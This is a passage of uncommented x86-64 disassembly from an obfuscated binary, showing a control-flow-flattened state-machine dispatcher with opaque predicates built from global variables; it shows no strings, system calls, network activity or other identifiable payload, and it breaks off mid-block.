cmp ecx, 0x40b64323
je 0x1400c9976
cmp ecx, 0x41b02eb8
jne 0x1400bca50
mov rdi, qword [rsp + 0x30]
mov ecx, dword [0x14024b728]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
mov ebp, ecx
and ebp, 0xfffffffe
and edx, 1
or edx, ebp
not edx
mov ebp, edx
and ebp, ecx
xor edx, ecx
mov ecx, dword [0x14024b724]
or edx, ebp
cmp edx, 0xffffffff
sete dl
setne r8b
cmp ecx, 0xa
setl r9b
cmp ecx, 9
setg cl
mov ebx, ecx
or dl, cl
and cl, r8b
xor bl, r8b
or bl, cl
mov ecx, ebx
xor cl, 1
or r9b, r8b
mov eax, r9d
xor al, dl
or dl, r9b
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
and dl, bl
or bl, al
and al, cl
or al, dl
mov ecx, ebx
xor cl, al
test cl, 1
mov edx, 0x693a2996
mov ecx, 0xb54bfee3
cmovne edx, ecx
test al, al
mov ecx, edx
mov eax, 0x693a2996
cmovne ecx, eax
mov qword [rsp + 0x38], rdi
jmp 0x1400c71ce
cmp ecx, 0x4ce2ea0d
je 0x1400c998c
cmp ecx, 0x4d55396b
jne 0x1400bca50
mov ecx, 0x55be0c2e
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
cmp ecx, 0x764839d
je 0x1400c99a2
cmp ecx, 0x94d8285
jne 0x1400bca50
mov ecx, 0xcf4194ab
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
cmp ecx, 0x65b1a78c
je 0x1400c99b8
cmp ecx, 0x65c09401
jne 0x1400bca50
mov rax, qword [rsp + 0x30]
mov edx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea esi, [rdx - 1]
imul esi, edx
mov ebp, esi
not ebp
mov edx, ebp
and edx, 0x100404a1
mov ecx, esi
and ecx, 0x413840
or ecx, edx
mov edi, ecx
xor edi, 0xa5a845a5
mov ebx, ebp
or ebx, 0x10453ce1
mov edx, ebx
not edx
and edi, 0xa5e97de5
and ecx, 0x10040000
or ecx, edi
and ebx, 0xa5e97de5
and edx, 0x4a12821a
or edx, ebx
xor edx, ecx
mov ecx, edx
not ecx
and ecx, 0xdc80e2b8
and edx, 0x237f1d47
or edx, ecx
mov ecx, edx
xor ecx, 0x301000a3
and ebp, 0x946f9937
and esi, 0x6b9066c8
or esi, ebp
mov ebp, esi
xor ebp, 0x60104488
xor edx, 0xccc5de58
mov ebx, edx
and ebx, 0x8beb3344
and ecx, 0x7414ccbb
or ecx, ebx
xor esi, 0x806b1104
and esi, 0x8beb3344
and ebp, 0x7414ccbb
or ebp, esi
xor ebp, ecx
not ebp
or ebp, edx
cmp ebp, 0xffffffff
setne dl
cmp eax, 9
setg cl
cmp eax, 0xa
setl al
xor al, dl
xor al, 1
or al, cl
mov r8d, eax
xor r8b, 1
xor cl, dl
mov r9d, ecx
xor r9b, 1
mov ebx, eax
and bl, r8b
mov edx, r9d
and dl, cl
mov r10d, eax
and r10b, bl
xor bl, al
or bl, r10b
mov eax, r9d
and al, dl
xor dl, r9b
or dl, al
mov eax, ebx
xor al, 1
and al, dl
xor dl, 1
and dl, bl
or dl, al
mov eax, r8d
xor al, cl
or cl, r8b
xor cl, 1
or cl, al
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0x90898275
cmovne eax, r15d
test cl, 1
mov ecx, 0x90898275
jmp 0x1400c9d43
cmp ecx, 0x92bf3754
je 0x1400c9a42
cmp ecx, 0x9459c64b
jne 0x1400bca50
mov ecx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edx, ebp
not edx
mov ebx, edx
and ebx, 0xf724cd36
mov ecx, ebp
and ecx, 0x8db32c9
or ecx, ebx
mov ebx, ecx
not ebx
and ebx, 0x8db32c8
and ecx, 0xf724cd37
or ecx, ebx
mov ebx, ecx
not ebx
and ebx, 0x75ed6260
and ecx, 0x8a129d9f
or ecx, ebx
mov ebx, ecx
xor ebx, 0x80020510
xor ecx, 0x75ed6260
mov edi, ecx
and edi, 0xa19daaf
and ebx, 0xf5e62550
or ebx, edi
or ecx, ebp
and ebp, 0xa19daaf
and edx, 0xf5e62550
or edx, ebp
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x1e5cb72b
and ecx, 0xe1a348d4
or ecx, edx
xor ecx, 0xe1a348d4
setne cl
cmp eax, 0xa
setl dl
cmp eax, 9
setg al
mov ebx, eax
and bl, cl
xor al, cl
or al, bl
xor dl, cl
mov ecx, edx
not cl
and cl, al
xor al, 1
mov ebx, eax
xor bl, dl
and bl, al
and dl, al
or dl, cl
mov eax, ebx
xor al, dl
mov eax, 0x708abacb
mov ebp, 0xebeb4a9a
jmp 0x1400c9342
cmp ecx, 0xd5e7139c
je 0x1400c9b00
cmp ecx, 0xd752a7ba
jne 0x1400bca50
mov ecx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edx, ebp
mov ecx, ebp
xor ecx, 0x6e9fe684
and ecx, ebp
not ebp
mov ebx, ebp
and ebx, 0x28026604
and edx, 0x469d8080
or edx, ebx
xor edx, 0x469d8080
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x9160197a
and ecx, 0x6e9fe685
or ecx, edx
not ecx
mov edx, ecx
and edx, ebp
xor ecx, ebp
or ecx, edx
mov edx, ecx
not edx
and edx, 0xa999c3bd
and ecx, 0x56663c42
or ecx, edx
xor ecx, 0x56663c42
sete cl
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
and dl, al
and bl, cl
or bl, dl
mov edx, ebx
xor dl, al
and dl, bl
xor cl, al
mov eax, ecx
xor al, 1
and al, cl
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
mov ebx, eax
and bl, dl
xor dl, 1
xor al, 1
and al, dl
or al, bl
mov ebx, edx
and bl, cl
xor dl, cl
or dl, bl
mov ebx, edx
xor bl, al
test dl, 1
mov ecx, 0x846de7dc
mov edx, 0xcd2481a9
cmovne ecx, edx
test al, 1
cmove ecx, edx
test bl, 1
mov eax, 0x846de7dc
jmp 0x1400ca6f6
cmp ecx, 0xb70ab771
je 0x1400c9b2a
cmp ecx, 0xb73db979
jne 0x1400bca50
mov ecx, 0xa81a8e23
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
cmp ecx, 0xfd15fb69
je 0x1400c9b40
cmp ecx, 0xfec22421
jne 0x1400bca50
mov ecx, 0xb3dc4964
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
cmp ecx, 0x8548f835
je 0x1400c9d4e
cmp ecx, 0x8732776b
jne 0x1400bca50
mov eax, dword [0x14024b728]
lea ecx, [rax - 1]
imul ecx, eax
mov edx, ecx
not edx
mov ebx, ecx
or ebx, 1
mov ebp, ebx
not ebp
mov eax, edx
or eax, 0x441aaef4
and ebx, 0x441aaef5
and ebp, 0xbbe5510a
or ebp, ebx
and eax, 0x441aaef5
xor eax, ebp
mov ebp, eax
not ebp
and ebp, 0xcced7509
and eax, 0x33128af6
or eax, ebp
mov ebp, eax
xor ebp, 0x100202c4
and edx, 0xc3538760
and ecx, 0x3cac789f
or ecx, edx
mov edx, ecx
xor edx, 0x14a0408d
xor eax, 0xcced7509
xor ecx, 0xc3538760
mov ebx, eax
and ebx, 0xab5cbd32
and ebp, 0x54a342cd
or ebp, ebx
or eax, ecx
and ecx, 0xab5cbd32
and edx, 0x54a342cd
or edx, ecx
xor edx, ebp
not eax
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x79557b0b
and eax, 0x86aa84f4
or eax, ecx
xor eax, 0x86aa84f4
sete bl
setne r9b
cmp dword [0x14024b724], 9
setg dl
xor r9b, dl
mov r8d, r9d
xor r8b, 1
xor bl, dl
and dl, bl
xor bl, 1
mov ecx, edx
and cl, bl
xor bl, dl
or bl, cl
mov edx, ebx
not dl
and dl, bl
xor dl, 1
mov ecx, ebx
xor cl, dl
or dl, bl
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, 1
and cl, dl
mov ebx, ecx
and bl, dl
xor cl, dl
or cl, bl
and r8b, cl
xor cl, 1
and cl, r9b
or cl, r8b
mov eax, r9d
xor al, dl
or dl, r9b
xor dl, 1
or dl, al
mov eax, edx
xor al, cl
test dl, 1
mov edx, 0x2d01aee6
mov ebp, 0xd5e7139c
cmovne edx, ebp
test cl, cl
cmove edx, ebp
test al, 1
mov eax, 0x2d01aee6
jmp 0x1400c84aa
cmp ecx, 0xc46ba55c
je 0x1400c9dc2
cmp ecx, 0xc6833d5a
jne 0x1400bca50
mov edx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and ecx, edx
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
xor edx, 1
and edx, ecx
mov ebp, ecx
not ebp
and ebp, 0xe05eae4b
and ecx, 0x1fa151b4
or ecx, ebp
xor ecx, 0x1fa151b5
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x9bc7d68b
and ecx, 0x64382974
or ecx, edx
mov edx, ecx
not edx
and edx, 0x64382974
and ecx, 0x9bc7d68b
or ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x568a857e
and ecx, 0xa9757a81
or ecx, ebp
xor ecx, 0xa9757a81
or ecx, edx
cmp ecx, 0xffffffff
setne dl
sete bl
cmp eax, 9
setg cl
cmp eax, 0xa
setl al
and dl, al
or al, bl
and cl, bl
or cl, dl
mov r8d, ecx
xor r8b, 1
mov ebx, eax
xor bl, r8b
or al, r8b
xor al, 1
or al, bl
mov edx, eax
xor dl, 1
mov ebx, edx
and bl, al
xor dl, bl
xor bl, 1
or bl, al
xor bl, 1
or bl, dl
mov eax, ebx
xor al, 1
mov edx, ecx
xor dl, al
and dl, cl
and bl, r8b
and al, cl
or al, bl
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0x235762ac
mov ebp, 0x7afbaf2d
cmovne eax, ebp
test dl, dl
mov edx, 0x235762ac
cmove eax, edx
test cl, 1
jmp 0x1400cac83
cmp ecx, 0xa2860610
je 0x1400c9ee6
cmp ecx, 0xa2ed57ce
jne 0x1400bca50
mov ecx, 0x61c1012a
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
cmp ecx, 0xe3ec10ab
je 0x1400c9fe1
cmp ecx, 0xe3f9f842
jne 0x1400bca50
mov ecx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edx, ebp
not edx
mov ebx, edx
and ebx, 0xfffffffe
mov ecx, ebp
xor ecx, 0xfffffffe
and ecx, ebp
mov edi, ebx
and edi, ecx
xor ecx, ebx
or ecx, edi
mov ebx, ecx
not ebx
mov edi, ecx
and edi, 0xc9675e75
and ebx, 0x3698a18a
or ebx, edi
or ecx, ebp
and ebp, 0xc9675e75
and edx, 0x3698a18a
or edx, ebp
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x1a757837
and ecx, 0xe58a87c8
or ecx, edx
xor ecx, 0xe58a87c8
sete cl
setne dl
cmp eax, 0xa
setl r9b
cmp eax, 9
setg r8b
mov eax, edx
and al, r8b
mov ebx, r9d
and bl, cl
or bl, al
xor bl, 1
or bl, r8b
or dl, r9b
xor dl, 1
xor cl, r9b
and cl, r9b
mov eax, edx
and al, cl
xor cl, dl
or cl, al
mov eax, ecx
xor al, bl
xor bl, 1
mov edx, ebx
xor dl, cl
xor al, 1
or bl, cl
xor bl, 1
or bl, al
mov eax, ebx
xor al, dl
test bl, 1
mov ecx, 0x5df4563
mov ebp, 0xb70ab771
cmovne ecx, ebp
test dl, 1
cmove ecx, ebp
test al, 1
mov eax, 0x5df4563
jmp 0x1400ca6f6
cmp ecx, 0x36017c2f
je 0x1400c9ff7
cmp ecx, 0x367587dd
jne 0x1400bca50
mov ecx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
not ecx
mov ebp, ecx
and ebp, 0xfffffffe
mov edx, ebx
xor edx, 0xfffffffe
and edx, ebx
mov edi, ebp
and edi, edx
xor edx, ebp
or edx, edi
mov edi, edx
not edi
mov ebp, edi
and ebp, 0xf710b9c7
and edx, 0x8ef4638
or edx, ebp
and ebx, 0xf710b9c7
and ecx, 0x8ef4638
or ecx, ebx
xor ecx, edx
not ecx
or ecx, edi
cmp ecx, 0xffffffff
setne cl
cmp eax, 9
setg dl
cmp eax, 0xa
setl al
xor al, cl
xor al, 1
or al, dl
xor al, 1
xor dl, cl
mov ecx, edx
xor cl, 1
mov ebx, ecx
and bl, dl
mov r8d, ecx
and r8b, bl
xor bl, cl
or bl, r8b
xor bl, al
mov ecx, eax
xor cl, dl
or dl, al
xor dl, 1
or dl, cl
mov eax, ebx
xor al, dl
test dl, 1
mov ecx, 0xcce88382
mov edx, 0xd11ef3a3
cmovne ecx, edx
test bl, bl
cmovne ecx, edx
not al
test al, 1
mov eax, 0xcce88382
jmp 0x1400ca6f6
cmp ecx, 0x55be0c2e
je 0x1400ca0ae
cmp ecx, 0x560805cd
jne 0x1400bca50
mov ecx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
not ecx
and ecx, 0xd330995a
and ebp, 0x2ccf66a5
or ebp, ecx
mov ecx, ebp
not ecx
and ecx, 0x84981396
and ebp, 0x7b67ec69
or ebp, ecx
mov edx, ebp
xor edx, 0xa8577533
xor ebp, 0x180800c
mov ebx, edx
and ebx, 0xfffffffe
and ebp, 0x2990840e
and edx, 0xd66f7bf1
or edx, ebp
xor edx, 0xd66f7bf0
mov ecx, ebx
and ecx, edx
xor edx, ebx
or edx, ecx
mov ebp, edx
not ebp
mov ebx, ebp
or ebx, 0xc732113e
mov ecx, ebx
not ecx
or edx, 0x204944c0
and edx, 0x206b55e4
and ebp, 0xc710001a
or ebp, edx
and ebx, 0x206b55e4
and ecx, 0x1884aa01
or ecx, ebx
xor ecx, ebp
mov edx, ecx
not edx
and edx, 0x38cdeec1
and ecx, 0xc732113e
or ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x474501cf
and ecx, 0xb8bafe30
or ecx, ebp
xor ecx, 0xb8bafe30
or ecx, edx
cmp ecx, 0xffffffff
sete r8b
setne bl
cmp eax, 9
setg cl
cmp eax, 0xa
setl dl
mov eax, ecx
or cl, bl
and bl, dl
and al, r8b
or al, bl
xor dl, r8b
xor cl, 1
or cl, dl
xor cl, 1
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov ebx, ecx
not bl
mov edx, eax
xor dl, 1
and bl, dl
or dl, cl
and cl, al
or cl, bl
mov eax, edx
xor al, cl
test al, 1
mov eax, 0x8c1e25f9
mov ebp, 0x1b7ac473
cmovne eax, ebp
test cl, cl
mov ecx, eax
mov ebp, 0x8c1e25f9
jmp 0x1400ca4ed
cmp ecx, 0x1a7e52fa
je 0x1400ca1b8
cmp ecx, 0x1b7ac473
jne 0x1400bca50
mov ecx, 0x8c1e25f9
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
cmp ecx, 0x7676465f
je 0x1400ca385
cmp ecx, 0x7705fbb2
jne 0x1400bca50
mov ecx, 0x65b1a78c
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
cmp ecx, 0x5180fb45
je 0x1400ca507
cmp ecx, 0x519ce97f
jne 0x1400bca50
mov edx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and edx, 0x11852fa4
and ecx, 0xee7ad05b
or ecx, edx
mov edi, ecx
xor edi, 0x620ac05b
xor ecx, 0x11852fa4
mov edx, ecx
and edx, 0x9df11924
and edi, 0x620ee6db
or edi, edx
mov ebx, edi
not ebx
mov ebp, edi
xor ebp, 0x85311020
or ebp, 0x58c22f0f
mov esi, ebp
not esi
or ecx, 0xa73dd0f0
mov edx, ecx
not edx
and ebp, 0x9158ff58
and esi, 0x262500a0
or esi, ebp
and ecx, 0x9158ff58
and edx, 0x48820007
or edx, ecx
xor edx, esi
mov ecx, edx
not ecx
and ecx, 0xe68005c5
and edx, 0x197ffa3a
or edx, ecx
mov ecx, edx
xor ecx, 0x34402a80
and ebx, 1
xor edi, 0x620ee6da
or edi, ebx
mov ebx, edi
not ebx
xor edx, 0x41bdd534
mov ebp, edx
and ebp, 0xcb2a115b
and ecx, 0x34d5eea4
or ecx, ebp
or edx, edi
and edi, 0xcb2a115b
and ebx, 0x34d5eea4
or ebx, edi
xor ebx, ecx
not edx
or edx, ebx
mov ecx, edx
xor ecx, 0xac54ae9c
and ecx, edx
or edx, 0x53ab5163
mov ebp, edx
not ebp
mov ebx, ecx
not ebx
mov edi, edx
and edi, 0xfa1a8741
and ebp, 0x444289c
or ebp, edi
or edx, ebx
and ebx, 0xfa1a8741
and ecx, 0x5e578be
or ecx, ebx
xor ecx, ebp
not edx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xc0a1fbef
and edx, 0x3f5e0410
or edx, ecx
xor edx, 0x930aaa8c
sete cl
setne r8b
cmp eax, 0xa
setl bl
cmp eax, 9
setg dl
mov eax, edx
and cl, dl
and dl, r8b
xor al, r8b
or al, dl
mov edx, eax
xor dl, 1
and bl, r8b
or cl, bl
and al, dl
mov ebx, eax
and bl, dl
xor al, dl
or al, bl
xor al, cl
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
mov edx, ecx
xor dl, al
test cl, 1
mov ecx, 0xcf4194ab
mov ebp, 0x94d8285
cmovne ecx, ebp
test al, 1
cmove ecx, ebp
test dl, 1
mov eax, 0xcf4194ab
jmp 0x1400ca6f6
cmp ecx, 0xf75fe11
je 0x1400ca5ee
cmp ecx, 0x10929617
jne 0x1400bca50
mov ecx, dword [0x14024b728]
mov r8d, dword [0x14024b724]
lea edx, [rcx - 1]
imul edx, ecx
mov ebp, edx
not ebp
mov ebx, edx
or ebx, 0xb7b3a26e
mov edi, ebx
not edi
mov ecx, edx
xor ecx, 0x484c5d91
and ecx, edx
mov esi, ecx
not esi
mov eax, ebx
and eax, 0x8bb355ed
and edi, 0x404c0810
or edi, eax
or ebx, esi
and esi, 0x8bb355ed
and ecx, 0x744caa12
or ecx, esi
xor ecx, edi
not ebx
or ebx, ecx
mov eax, ebx
not eax
and eax, 0xb7b3a26f
and ebx, 0x484c5d90
or ebx, eax
and ebp, 0xfb209423
and edx, 0x4df6bdc
or edx, ebp
mov eax, edx
xor eax, 0x4df6bdc
xor edx, 0xfb209423
and edx, ebx
not ebx
and eax, ebx
or edx, eax
not edx
or edx, ebx
cmp edx, 0xffffffff
sete r9b
setne r11b
cmp r8d, 0xa
setl r10b
cmp r8d, 9
setg r8b
mov ebx, r11d
xor bl, r9b
and bl, r11b
mov eax, ebx
not al
and al, bl
xor al, 1
mov edx, ebx
xor dl, al
or al, bl
xor al, 1
or al, dl
xor al, r8b
mov edx, r8d
or r8b, r11b
and r11b, r10b
and dl, r9b
or dl, r11b
xor r10b, r9b
xor r8b, 1
or r8b, r10b
mov ecx, r8d
xor cl, dl
xor dl, 1
xor cl, 1
or dl, r8b
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, 1
and cl, al
xor al, 1
mov ebx, eax
xor bl, dl
and bl, al
and dl, al
or dl, cl
mov eax, ebx
xor al, dl
test dl, 1
mov ecx, 0xce30d9cd
mov edx, 0x68a426f
cmovne ecx, edx
test bl, 1
mov ebp, 0xce30d9cd
cmove ecx, ebp
jmp 0x1400c8bc9
cmp ecx, 0x6e01b959
je 0x1400ca604
cmp ecx, 0x708abacb
jne 0x1400bca50
mov ecx, dword [0x14024b728]
mov r8d, dword [0x14024b724]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and edx, 0x8cc879f
and ecx, 0xf7337860
or ecx, edx
mov ebp, ecx
xor ebp, 0x8cc879f
mov edx, ecx
xor edx, 0xf7337860
mov ebx, ebp
or ebx, 0xe2f8b88c
mov edi, ebx
not edi
xor ecx, 0x15cbc0ec
and ecx, ebp
mov esi, ecx
not esi
mov eax, ebx
and eax, 0xd6f7f3c3
and edi, 0x9000430
or edi, eax
or ebx, esi
and esi, 0xd6f7f3c3
and ecx, 0x29080c3c
or ecx, esi
xor ecx, edi
not ebx
or ebx, ecx
mov eax, ebx
not eax
and eax, 0xe2f8b88d
and ebx, 0x1d074772
or ebx, eax
and ebp, 0x654b4780
mov eax, edx
and eax, 0x9ab4b87f
or eax, ebp
xor eax, 0x654b4781
and edx, 1
or edx, eax
mov eax, edx
not eax
and eax, 0x476d6622
and edx, 0xb89299dd
or edx, eax
mov eax, edx
xor eax, 0xa0901918
xor edx, 0x476d6622
mov ecx, ebx
not ecx
mov ebp, ecx
and ebp, 0x1a6fe0e5
and ebx, 0xe5901f1a
or ebx, ebp
or ecx, edx
and edx, 0x1a6fe0e5
and eax, 0xe5901f1a
or eax, edx
xor eax, ebx
not ecx
or ecx, eax
mov eax, ecx
not eax
and eax, 0x5c0df80a
and ecx, 0xa3f207f5
or ecx, eax
mov eax, ecx
xor eax, 0xa1f00174
xor ecx, 0x5c0df80a
mov edx, ecx
and edx, 0x5a075e89
and eax, 0xa5f8a176
or eax, edx
xor eax, 0xa5f8a176
or eax, ecx
cmp eax, 0xffffffff
sete cl
setne r10b
cmp r8d, 0xa
setl r9b
cmp r8d, 9
setg al
mov edx, r10d
and dl, al
mov ebx, r9d
and bl, cl
or bl, dl
xor al, bl
and al, bl
or r10b, r9b
xor cl, r9b
and cl, r9b
xor cl, 1
mov edx, r10d
xor dl, cl
or cl, r10b
xor cl, 1
or cl, dl
mov r8d, ecx
xor r8b, 1
mov edx, ecx
and dl, r8b
mov ebx, edx
xor bl, 1
xor dl, cl
or bl, r8b
xor bl, 1
or bl, dl
xor bl, al
xor al, 1
mov ecx, eax
and cl, r8b
xor al, r8b
or al, cl
mov ecx, eax
xor cl, bl
test cl, 1
mov ecx, 0x7676465f
mov edx, 0xbb37a5d6
cmovne ecx, edx
test al, 1
mov eax, 0x7676465f
cmovne eax, ecx
test bl, 1
jmp 0x1400bca47
cmp ecx, 0x90898275
je 0x1400ca70a
cmp ecx, 0x9249c0d9
jne 0x1400bca50
mov ecx, 0x3ff06ace
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
cmp ecx, 0xd210a0ae
je 0x1400ca81c
cmp ecx, 0xd4caecba
jne 0x1400bca50
mov eax, dword [0x14024b728]
lea ebx, [rax - 1]
imul ebx, eax
mov eax, ebx
not eax
mov ebp, eax
and ebp, 0x91c4450b
mov edx, ebx
and edx, 0x6e3bbaf4
or edx, ebp
mov ebp, edx
xor ebp, 0xe010800
xor edx, 0x80010b
mov ecx, ebx
xor ecx, 0x6ea32beb
and ecx, ebx
or edx, 0x915cd414
mov edi, ecx
not edi
mov esi, edx
and esi, 0xf1b266e5
and ebp, 0xe01090a
or ebp, esi
or edx, edi
and edi, 0xf1b266e5
and ecx, 0xe4d991a
or ecx, edi
xor ecx, ebp
not edx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x90e71da7
and edx, 0x6f18e258
or edx, ecx
mov ecx, edx
xor ecx, 0x1934980
xor edx, 0xfe44364d
mov ebp, edx
and ebp, 0xe668923b
and ecx, 0x19976dc4
or ecx, ebp
and ebx, 0xe668923b
and eax, 0x19976dc4
or eax, ebx
xor eax, ecx
not eax
or eax, edx
cmp eax, 0xffffffff
setne al
sete r8b
cmp dword [0x14024b724], 0xa
setl r9b
xor al, r8b
and al, r8b
mov ebx, eax
xor bl, 1
or al, bl
mov edx, ebx
xor dl, al
or al, bl
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
and al, dl
xor al, 1
mov ebx, eax
xor bl, dl
or al, dl
xor al, 1
or al, bl
xor al, r9b
mov edx, r9d
and dl, r8b
xor r9b, r8b
or dl, r9b
xor dl, 1
mov ecx, r9d
and cl, dl
xor dl, r9b
or dl, cl
mov ecx, edx
mov ebx, eax
xor bl, dl
and bl, al
and dl, al
xor al, 1
xor cl, 1
and cl, al
or dl, cl
mov eax, ebx
xor al, dl
test al, 1
mov eax, 0x4ce2ea0d
mov ebp, 0x29660e68
cmovne eax, ebp
test dl, 1
mov ecx, eax
cmovne ecx, ebp
jmp 0x1400ca5e6
cmp ecx, 0xb3dc4964
je 0x1400ca83e
cmp ecx, 0xb4b71158
jne 0x1400bca50
mov ecx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edx, ebp
not edx
mov ebx, edx
and ebx, 0xfffffffe
mov ecx, ebp
xor ecx, 0xfffffffe
and ecx, ebp
mov edi, ebx
and edi, ecx
xor ecx, ebx
or ecx, edi
mov ebx, ecx
not ebx
mov edi, ecx
and edi, 0xa1390ea
and ebx, 0xf5ec6f15
or ebx, edi
or ecx, ebp
and ebp, 0xa1390ea
and edx, 0xf5ec6f15
or edx, ebp
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x767ed8e8
and ecx, 0x89812717
or ecx, edx
xor ecx, 0x89812717
setne r8b
sete r9b
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, eax
xor cl, r9b
mov edx, ecx
xor dl, al
and dl, cl
or bl, r8b
or al, r9b
mov ecx, eax
xor cl, bl
or al, bl
xor al, 1
or al, cl
mov ecx, edx
xor cl, 1
mov ebx, eax
xor bl, 1
and al, cl
or cl, bl
and bl, dl
or bl, al
mov eax, ecx
xor al, bl
test al, 1
mov eax, 0xfc137e96
mov edx, 0x65106d55
cmovne eax, edx
test bl, bl
mov edx, eax
mov ebp, 0xfc137e96
cmovne edx, ebp
test cl, 1
jmp 0x1400c5e04
cmp ecx, 0xf3c14bc9
je 0x1400ca9bd
cmp ecx, 0xf4d1ee4e
jne 0x1400bca50
mov edx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, 0x4c021a
mov ebx, ecx
and ebx, 0x900a101
or ebx, edx
xor ebx, 0x900a101
mov edx, ecx
and edx, 0xf6b35ce4
or edx, ebx
mov ebx, edx
not ebx
and ebx, 0xd3b14ae2
and edx, 0x2c4eb51d
or edx, ebx
mov ebx, edx
xor ebx, 0x25021607
and ebp, 0x42d4b075
and ecx, 0xbd2b4f8a
or ecx, ebp
mov ebp, ecx
xor ebp, 0xbd2b4f8a
xor edx, 0xdafde9f8
and ebp, edx
xor ecx, 0x42d4b075
and ecx, ebx
or ecx, ebp
xor edx, ecx
test edx, ecx
sete cl
cmp eax, 9
setg dl
cmp eax, 0xa
setl bl
mov eax, ebx
xor al, cl
or bl, cl
xor bl, 1
or bl, al
xor bl, 1
and al, cl
or dl, cl
mov ecx, edx
xor cl, al
xor al, 1
xor cl, 1
or al, dl
xor al, 1
or al, cl
xor al, bl
mov ecx, eax
xor cl, 1
and bl, cl
xor cl, bl
test cl, 1
mov ecx, 0x99a84dbe
mov edx, 0x435ba374
cmovne ecx, edx
test al, 1
mov eax, ecx
mov edx, 0x99a84dbe
cmovne eax, edx
test bl, bl
jmp 0x1400bca47
cmp ecx, 0x8baeafab
je 0x1400caaf5
cmp ecx, 0x8c1e25f9
jne 0x1400bca50
mov edx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea ecx, [rdx - 1]
imul ecx, edx
mov esi, ecx
not esi
mov ebp, ecx
xor ebp, 0x5b183f75
and ebp, ecx
or ecx, 0xa4e7c08a
mov ebx, ebp
not ebx
mov edi, ecx
and edi, 0xf006e0e8
mov edx, esi
and edx, 0xb181f15
or edx, edi
or ecx, ebx
and ebx, 0xf006e0e8
and ebp, 0xff91f17
or ebp, ebx
xor ebp, edx
not ecx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xa4e7c08b
and ecx, 0x5b183f74
or ecx, edx
mov edx, ecx
not edx
and edx, 0x5399974e
and ecx, 0xac6668b1
or ecx, edx
xor ecx, 0xac6668b1
mov edx, ecx
and edx, esi
xor ecx, esi
or ecx, edx
mov edx, ecx
not edx
and edx, 0xbe7b6c8c
and ecx, 0x41849373
or ecx, edx
xor ecx, 0x41849373
sete cl
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
and dl, al
and bl, cl
or bl, dl
mov edx, ebx
xor dl, al
and dl, bl
xor cl, al
xor cl, dl
and dl, cl
mov eax, ecx
xor al, dl
mov eax, 0xa5123f8
mov ebp, 0x1b7ac473
cmovne eax, ebp
test cl, cl
mov ecx, 0xa5123f8
jmp 0x1400c79b7
cmp ecx, 0xcd2481a9
je 0x1400cab7a
cmp ecx, 0xce30d9cd
jne 0x1400bca50
mov ecx, 0x68a426f
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
cmp ecx, 0xab7b8a6a
je 0x1400cab90
cmp ecx, 0xac24aa51
jne 0x1400bca50
mov ecx, dword [0x14024b728]
lea eax, [rcx - 1]
imul eax, ecx
mov ecx, eax
not ecx
and ecx, 0x8f4288b
and eax, 0xf70bd774
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0xf70bd774
and eax, 0x8f4288b
or eax, ecx
mov ecx, eax
xor ecx, 1
and ecx, eax
mov edx, eax
not edx
and edx, 0x420913e8
and eax, 0xbdf6ec17
or eax, edx
